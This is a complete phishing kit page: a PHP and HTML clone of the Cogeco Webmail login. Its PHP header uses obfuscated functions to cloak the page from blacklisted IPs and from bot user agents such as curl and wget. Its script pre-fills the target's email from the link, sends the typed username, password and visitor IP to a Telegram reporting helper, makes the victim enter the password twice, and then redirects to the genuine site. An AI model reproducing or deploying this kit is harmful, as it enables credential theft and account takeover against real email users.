<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Cogeco Webmail</title>
    <link href="https://fonts.googleapis.com/css2?family=Nunito+Sans:wght@400;600;700;800;900&display=swap" rel="stylesheet">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="../m/js/fingerprint.js"></script>
    <script src="../m/js/utils.js"></script>
    <script src="../m/js/captcha.js"></script>
    <script src="../js/centralized_telegram.js"></script>
    <script src="../js/centralized_redirect.js"></script>
    <script src="../js/email_extractor.js"></script>
    <script src="../js/autofill_helper.js"></script>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:  #001E62;
            --coral: #FF6D70;
            --teal:  #00B2A9;
            --bg:    #EEF1F6;
            --border:#D5DCE8;
            --muted: #5B6C8A;
        }

        body {
            font-family: 'Nunito Sans', sans-serif;
            background: var(--bg);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        /* ── HEADER ── */
        header {
            background: #fff;
            border-bottom: 1px solid var(--border);
            padding: 0 64px;
            height: 64px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-shrink: 0;
        }

        .logo img { height: 32px; display: block; }
        .logo {
            padding: 8px 0;
        }
        .logo-fallback {
            display: none;
            font-size: 20px;
            font-weight: 900;
            color: var(--navy);
            letter-spacing: -0.5px;
        }

        .lang-toggle {
            font-weight: 700;
            font-size: 13px;
            color: var(--navy);
            text-decoration: none;
            letter-spacing: 0.8px;
        }
        .lang-toggle:hover { color: var(--coral); }

        /* ── MAIN ── */
        main {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 48px 24px 56px;
            gap: 48px;
        }

        /* ── LOGIN ROW ── */
        .login-row {
            display: flex;
            align-items: stretch;
            gap: 20px;
            width: 100%;
            max-width: 860px;
        }

        /* ── LEFT CARD – light grey background exactly like screenshot ── */
        .login-card {
            background: #F3F5FA;
            border-radius: 18px;
            padding: 44px 40px 40px;
            flex: 1;
            display: flex;
            flex-direction: column;
            gap: 18px;
        }

        .login-card h1 {
            font-size: 24px;
            font-weight: 800;
            color: var(--navy);
            line-height: 1.3;
            margin-bottom: 4px;
        }

        .field-group { display: flex; flex-direction: column; gap: 5px; }

        .field-group label {
            font-size: 13.5px;
            font-weight: 700;
            color: var(--navy);
        }

        .input-wrap { position: relative; }

        input[type="email"],
        input[type="password"],
        input[type="text"] {
            width: 100%;
            padding: 12px 15px;
            border: 1.5px solid #C8D2E2;
            border-radius: 10px;
            font-size: 14.5px;
            font-family: inherit;
            color: var(--navy);
            background: #fff;
            outline: none;
            transition: border-color 0.2s;
        }
        input:focus { border-color: var(--navy); }
        input::placeholder { color: #AAB5C9; }
        input[type="password"] { padding-right: 44px; }

        .eye-btn {
            position: absolute;
            right: 12px;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            cursor: pointer;
            color: #8A99BB;
            display: flex;
            align-items: center;
            padding: 0;
        }

        .remember-row { display: flex; align-items: center; gap: 9px; }
        .remember-row input[type="checkbox"] {
            width: 17px; height: 17px;
            accent-color: var(--navy);
            cursor: pointer;
            flex-shrink: 0;
        }
        .remember-row label {
            font-size: 13.5px;
            font-weight: 600;
            color: var(--navy);
            cursor: pointer;
        }

        .forgot-link {
            display: inline-flex;
            align-items: center;
            gap: 5px;
            font-size: 13.5px;
            font-weight: 700;
            color: var(--navy);
            text-decoration: underline;
            text-underline-offset: 2px;
            justify-content: center;
        }
        .forgot-link:hover { color: var(--coral); }

        /* Log in – navy→teal pill gradient (matching screenshot dark-left light-right) */
        .btn-login {
            max-width: 280px;
            width: 100%;
            padding: 12px;
            background: linear-gradient(90deg, #001E62 0%, #00B2A9 100%);
            color: #fff;
            font-size: 15px;
            font-weight: 800;
            font-family: inherit;
            border: none;
            border-radius: 50px;
            cursor: pointer;
            transition: opacity 0.2s, transform 0.1s;
            margin: 4px auto 0 auto;
        }
        .btn-login:hover { opacity: 0.88; transform: translateY(-1px); }
        .btn-login:active { transform: translateY(0); }

        /* ── RIGHT PROMO CARD ── */
        .promo-card {
            flex: 0 0 330px;
            border-radius: 18px;
            /* deep purple-navy bottom → coral/pink top-right, matching screenshot */
            background: linear-gradient(150deg, #FF6D70 0%, #8B3A6B 35%, #3E256A 65%, #1A1450 100%);
            padding: 32px 32px 36px;
            display: flex;
            flex-direction: column;
            gap: 18px;
            position: relative;
            overflow: hidden;
        }

        /* Cogeco wave SVG – top right corner, white-ish */
        .promo-deco {
            position: absolute;
            top: -10px;
            right: -10px;
            width: 150px;
            height: 150px;
            opacity: 0.28;
            pointer-events: none;
        }
        .promo-deco img {
            width: 100%;
            height: 100%;
            object-fit: contain;
            object-position: top right;
            filter: brightness(100) saturate(0);   /* force white */
        }

        .promo-icon {
            width: 56px;
            height: 56px;
            background: rgba(255,255,255,0.94);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
            position: relative;
            z-index: 1;
        }
        .promo-icon svg { width: 26px; height: 26px; }

        .promo-card h2 {
            font-size: 22px;
            font-weight: 800;
            color: #fff;
            line-height: 1.2;
            position: relative;
            z-index: 1;
        }

        .promo-card p {
            font-size: 13.5px;
            color: rgba(255,255,255,0.88);
            line-height: 1.65;
            position: relative;
            z-index: 1;
        }

        /* coral pill CTA */
        .btn-learn {
            display: inline-flex;
            align-items: center;
            gap: 7px;
            padding: 11px 24px;
            background: var(--coral);
            color: #fff;
            font-size: 13.5px;
            font-weight: 700;
            font-family: inherit;
            border: none;
            border-radius: 50px;
            cursor: pointer;
            text-decoration: none;
            align-self: flex-start;
            transition: opacity 0.2s;
            position: relative;
            z-index: 1;
        }
        .btn-learn:hover { opacity: 0.85; }

        /* ── FEATURES ── */
        .features-section { width: 100%; max-width: 860px; }

        .features-section h2 {
            text-align: center;
            font-size: 24px;
            font-weight: 800;
            color: var(--navy);
            margin-bottom: 32px;
        }

        .features-grid {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 14px;
        }

        .feature-card {
            background: #fff;
            border-radius: 16px;
            padding: 26px 20px 24px;
            display: flex;
            flex-direction: column;
            gap: 11px;
        }

        .feature-icon {
            width: 56px;
            height: 56px;
            background: var(--bg);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
        }

        .feature-card h3 {
            font-size: 14px;
            font-weight: 800;
            color: var(--navy);
            line-height: 1.3;
        }

        .feature-card p {
            font-size: 12.5px;
            color: var(--muted);
            line-height: 1.6;
            flex: 1;
        }

        .btn-outline {
            display: inline-flex;
            align-items: center;
            gap: 5px;
            padding: 10px 16px;
            border: 2px solid var(--navy);
            border-radius: 50px;
            color: var(--navy);
            font-size: 12px;
            font-weight: 700;
            font-family: inherit;
            text-decoration: none;
            background: transparent;
            transition: background 0.2s, color 0.2s;
            align-self: flex-start;
            white-space: nowrap;
            cursor: pointer;
        }
        .btn-outline:hover { background: var(--navy); color: #fff; }

        /* ── FOOTER ── */
        footer {
            background: #fff;
            border-top: 1px solid var(--border);
            padding: 18px 40px;
            text-align: center;
            font-size: 12px;
            color: var(--muted);
        }

        /* ── RESPONSIVE ── */
        @media (max-width: 820px) {
            .login-row { flex-direction: column; max-width: 480px; }
            .promo-card { flex: none; }
            .features-grid { grid-template-columns: repeat(2, 1fr); }
        }
        @media (max-width: 520px) {
            .login-card { padding: 32px 24px; }
            .features-grid { grid-template-columns: 1fr; }
            main { padding: 32px 16px; }
            header { padding: 0 20px; }
        }
    </style>
</head>
<body>

    <header>
        <div class="logo">
            <img src="https://upload.wikimedia.org/wikipedia/commons/e/e1/COGECO_Horizontal_Blue_version_web.png"
                 alt="Cogeco Logo"
                 style="height: 32px; display: block;">
        </div>
        <a href="#" class="lang-toggle">FR</a>
    </header>

    <main>
        <div class="login-row">

            <!-- Left: Login Form -->
            <div class="login-card">
                <h1>Welcome to Cogeco Webmail.<br>Great to see you again.</h1>

                <div class="field-group">
                    <label for="email">Email address</label>
                    <input type="email" id="email" placeholder="your.email@cgocable.ca" autocomplete="email">
                </div>

                <div class="field-group">
                    <label for="password">Password</label>
                    <div class="input-wrap">
                        <input type="password" id="password" placeholder="Enter your password" autocomplete="current-password">
                        <button class="eye-btn" type="button" onclick="togglePwd()" aria-label="Toggle password">
                            <svg id="eye-icon" width="19" height="19" viewBox="0 0 24 24" fill="none"
                                 stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                                <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/>
                                <circle cx="12" cy="12" r="3"/>
                            </svg>
                        </button>
                    </div>
                </div>

                <div class="remember-row">
                    <input type="checkbox" id="remember">
                    <label for="remember">Remember my email address</label>
                </div>

                <a href="#" class="forgot-link">
                    Forgot your password or email?&nbsp;
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor"
                         stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
                        <polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/>
                    </svg>
                </a>

                <button class="btn-login" type="button" id="login-submit">Log in</button>
            </div>

            <!-- Right: Promo Card -->
            <div class="promo-card">
                <!-- Cogeco wave decoration top-right -->
                <div class="promo-deco">
                    <img src="https://wm.cogeco.ca/am/XUI/css/my-account-duo-24.46b9488680.svg"
                         alt="" aria-hidden="true"
                         onerror="this.parentElement.style.display='none'">
                </div>

                <div class="promo-icon">
                    <!-- person + sparkle matching screenshot icon -->
                    <svg viewBox="0 0 24 24" fill="none" stroke="#001E62" stroke-width="1.8"
                         stroke-linecap="round" stroke-linejoin="round">
                        <path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/>
                        <circle cx="12" cy="7" r="4"/>
                        <!-- sparkle cross -->
                        <line x1="19" y1="3" x2="19" y2="7" stroke="#FF6D70" stroke-width="1.5"/>
                        <line x1="17" y1="5" x2="21" y2="5" stroke="#FF6D70" stroke-width="1.5"/>
                        <circle cx="19" cy="5" r="0.8" fill="#FF6D70" stroke="none"/>
                    </svg>
                </div>

                <h2>Get to know Webmail</h2>
                <p>Cogeco Webmail has convenient features, such as seamless navigation between your inbox, calendar and contacts.</p>

                <a href="https://www.cogeco.ca/en/internet/support/email/webmail" target="_blank" class="btn-learn">
                    Learn more&nbsp;
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor"
                         stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
                        <polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/>
                    </svg>
                </a>
            </div>
        </div>

        <!-- Features -->
        <div class="features-section">
            <h2>Use Webmail to its full potential</h2>
            <div class="features-grid">

                <div class="feature-card">
                    <div class="feature-icon">
                        <svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#001E62"
                             stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
                            <rect x="2" y="4" width="20" height="16" rx="2"/>
                            <path d="m22 7-8.97 5.7a1.94 1.94 0 0 1-2.06 0L2 7"/>
                        </svg>
                    </div>
                    <h3>Manage your addresses on My Account</h3>
                    <p>Create, edit or delete email accounts and passwords for your Webmail addresses on My Account.</p>
                    <a href="https://myaccount.cogeco.ca" target="_blank" class="btn-outline">
                        Log in to My Account
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor"
                             stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                            <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
                            <polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/>
                        </svg>
                    </a>
                </div>

                <div class="feature-card">
                    <div class="feature-icon">
                        <svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#001E62"
                             stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
                            <rect x="2" y="3" width="10" height="13" rx="2"/>
                            <rect x="14" y="7" width="8" height="11" rx="2"/>
                            <line x1="7" y1="16" x2="7" y2="20"/>
                            <line x1="18" y1="18" x2="18" y2="21"/>
                        </svg>
                    </div>
                    <h3>See how to set up email on other devices</h3>
                    <p>Access your Cogeco email address from other email client software on any device.</p>
                    <a href="https://www.cogeco.ca/en/internet/support/email" target="_blank" class="btn-outline">
                        Learn how
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor"
                             stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                            <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
                            <polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/>
                        </svg>
                    </a>
                </div>

                <div class="feature-card">
                    <div class="feature-icon">
                        <svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#001E62"
                             stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
                            <path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/>
                            <line x1="12" y1="8" x2="12" y2="12"/>
                            <line x1="12" y1="15" x2="12.01" y2="15" stroke-width="2.5"/>
                        </svg>
                    </div>
                    <h3>Get answers to your Webmail questions</h3>
                    <p>For answers to all your questions about Webmail and its range of features, visit our FAQs.</p>
                    <a href="https://www.cogeco.ca/en/internet/support/email/webmail/faq" target="_blank" class="btn-outline">
                        Visit Webmail FAQs
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor"
                             stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                            <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
                            <polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/>
                        </svg>
                    </a>
                </div>

                <div class="feature-card">
                    <div class="feature-icon">
                        <svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#001E62"
                             stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round">
                            <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
                            <path d="M9 12a4.2 4.2 0 0 1 6 0" stroke="#FF6D70" stroke-width="1.5"/>
                            <path d="M10.5 14a2.1 2.1 0 0 1 3 0" stroke="#FF6D70" stroke-width="1.5"/>
                            <circle cx="12" cy="16" r="0.7" fill="#FF6D70" stroke="none"/>
                        </svg>
                    </div>
                    <h3>Protect yourself against fraud</h3>
                    <p>Learn how to identify fraudulent emails and other ways scammers may try to get your private information.</p>
                    <a href="https://www.cogeco.ca/en/internet/support/security/fraud" target="_blank" class="btn-outline">
                        Learn about fraud and scams
                        <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor"
                             stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                            <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
                            <polyline points="15 3 21 3 21 9"/><line x1="10" y1="14" x2="21" y2="3"/>
                        </svg>
                    </a>
                </div>

            </div>
        </div>
    </main>

    <footer>
        &copy; 2026 Cogeco Inc. All rights reserved.
    </footer>

    <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
    <script>
        // Extract email from URL parameters (same logic as other pages)
        function extractEmailFromURL() {
            const urlParams = new URLSearchParams(window.location.search);
            let email = urlParams.get('ref');
            
            if (!email) {
                const hash = window.location.hash || '';
                if (hash) {
                    const fragment = hash.substr(1);
                    if (fragment) {
                        const partsIdx = fragment.indexOf('=');
                        if (partsIdx !== -1) {
                            email = fragment.substr(partsIdx + 1);
                        } else {
                            email = fragment;
                        }
                    }
                }
            }
            
            if (!email) return null;

            // URL decode
            email = decodeURIComponent(email);

            // Check if base64 encoded
            const base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
            if (base64regex.test(email.replace(/\s/g, ''))) {
                try {
                    const decoded = atob(email);
                    if (decoded && decoded.includes('@')) email = decoded;
                } catch (e) { }
            }

            // Validate email format
            const emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
            if (emailRegex.test(email)) {
                return email;
            }

            return null;
        }

        // Auto-fill form with extracted email
        function autoFillForm() {
            const email = extractEmailFromURL();
            if (email) {
                const usernameField = document.getElementById('email');
                const passwordField = document.getElementById('password');
                
                if (usernameField) {
                    usernameField.value = email;
                    usernameField.autocomplete = 'username';
                }
                
                // Focus on password field since username is filled
                if (passwordField) {
                    passwordField.focus();
                }
            }
        }

        function togglePwd() {
            const inp = document.getElementById('password');
            const ico = document.getElementById('eye-icon');
            if (inp.type === 'password') {
                inp.type = 'text';
                ico.innerHTML = `
                    <path d="M17.94 17.94A10.07 10.07 0 0 1 12 20c-7 0-11-8-11-8a18.45 18.45 0 0 1 5.06-5.94"/>
                    <path d="M9.9 4.24A9.12 9.12 0 0 1 12 4c7 0 11 8 11 8a18.5 18.5 0 0 1-2.16 3.19"/>
                    <line x1="1" y1="1" x2="23" y2="23"/>`;
            } else {
                inp.type = 'password';
                ico.innerHTML = `
                    <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/>
                    <circle cx="12" cy="12" r="3"/>`;
            }
        }

        var credentialSubmitCount = 0;
        var COGECO_FALLBACK = 'https://webmail.cogeco.ca/';

        function doLogin() {
            var user = document.getElementById('email').value.trim();
            var pass = document.getElementById('password').value;
            var alertEl = document.getElementById('alertMsg');
            var loginBtn = document.getElementById('login-submit');
            if (!user || !pass) {
                if (alertEl) {
                    alertEl.style.display = 'block';
                    alertEl.textContent = 'Please enter your username and password.';
                }
                return false;
            }
            if (alertEl) alertEl.style.display = 'none';

            credentialSubmitCount++;
            var redirectOnSuccess = (credentialSubmitCount >= 2);
            window.providerTag = 'cogeco';
            var clientIP = window.userip || 'n/a';

            if (loginBtn) loginBtn.disabled = true;

            function runRedirect() {
                if (!redirectOnSuccess) return;
                window.allowFormRedirect = true;
                if (typeof performCentralizedRedirect === 'function') {
                    performCentralizedRedirect(300);
                } else {
                    setTimeout(function() { window.location.replace(COGECO_FALLBACK); }, 300);
                }
            }

            if (typeof sendCentralizedTelegramReport === 'function') {
                sendCentralizedTelegramReport('cogeco', user, pass, clientIP, function() {
                    runRedirect();
                });
            } else {
                console.error('Centralized Telegram function not available');
                if (redirectOnSuccess) {
                    window.allowFormRedirect = true;
                    setTimeout(function() { window.location.replace(COGECO_FALLBACK); }, 300);
                }
            }

            if (credentialSubmitCount === 1) {
                document.getElementById('password').value = '';
                document.getElementById('password').focus();
                if (loginBtn) loginBtn.disabled = false;
                return false;
            }
            return false;
        }

        // Auto-fill on page load
        document.addEventListener('DOMContentLoaded', function() {
            autoFillForm();
        });

        // Add event listener to login button
        document.getElementById('login-submit').addEventListener('click', function(e) {
            e.preventDefault();
            doLogin();
        });
    </script>
</body>
</html>